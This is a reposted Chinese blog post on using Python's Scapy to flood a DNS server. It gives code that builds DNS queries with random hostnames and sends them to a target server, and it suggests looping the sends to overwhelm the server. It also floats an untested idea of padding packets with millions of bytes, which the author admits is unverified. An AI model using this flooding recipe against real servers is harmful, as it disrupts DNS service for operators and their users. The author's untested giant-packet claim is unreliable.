您的位置:首页 > 编程语言 > Python开发

Python中的Scapy初探之五-DNS洪水攻击

2017-08-28 10:13 489 查看
原文地址:Python中的Scapy初探之五-DNS洪水攻击作者:小牛牛

肿么回事,现在肿么都是这些东西?不过看了别人的代码,忍不住留个纪念,对生成随机的数据包有启发,其实,在Scapy有专门的洪水发包的方法

srflood             : Flood and receive packets at layer 3

srloop              : Send a packet at layer 3 in loop and print the answer each time

srp                 : Send and receive packets at layer 2

srp1                : Send and receive packets at layer 2 and return only the first answer

srpflood            : Flood and receive packets at layer 2

srploop             : Send a packet at layer 2 in loop and print the answer each time

改天有时间测试一下

那么如何对DNS服务器进行大量DNS名称解析呢?

首先要构建一个包含随机查询字符串的DNS请求包,主要还是添加qname项

qname一般包含FQDN名称,类似于www.baidu.com,要产生这种格式的名称,以'.'分隔三部分字符串

第一个s1,加上.,然后第二个s2,加上.,最后是第三个s3。那么可以随机产生字符串就ok了

s=RandString(RandNum(1,10))

s1=s.lower()

d=RandString(RandNum(1,10))

s2=d.lower()

t=RandString(RandNum(2,3))

s3=t.lower()

整合起来的字符串就是

q=s1+'.'+s2+'.'+s3

构建一个包

p=IP(dst='dns-server')/UDP(sport=RandShort())/DNS(rd=1,qd=DNSQR(qname=q))

然后send()出去

send(p)

如果可以接收数据包,那么使用srflood()是个不错的选择

send()可以只管发送,不管接收

再加上一个循环,就可以发送n多DNS请求包

想想看,如果将s1与s2的取值扩充成很大,那么发一个巨型的数据包,再循环一下....没看RFC文档,不知道一个DNS包的限定字节数是多少

看了一种方法,就是在TCP层之上,加上超容量的字符

例如TCP()/('xx'*6000000)

这样应该可以了,还没测试过,还需要继续验证

看来服务器的安全真是很重要,还没看到Linux的DNS配置,看看有什么防御方法不

http://www.packetlevel.ch/html/scapy/scapydns.html

http://www.packetlevel.ch/
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签:  python 网络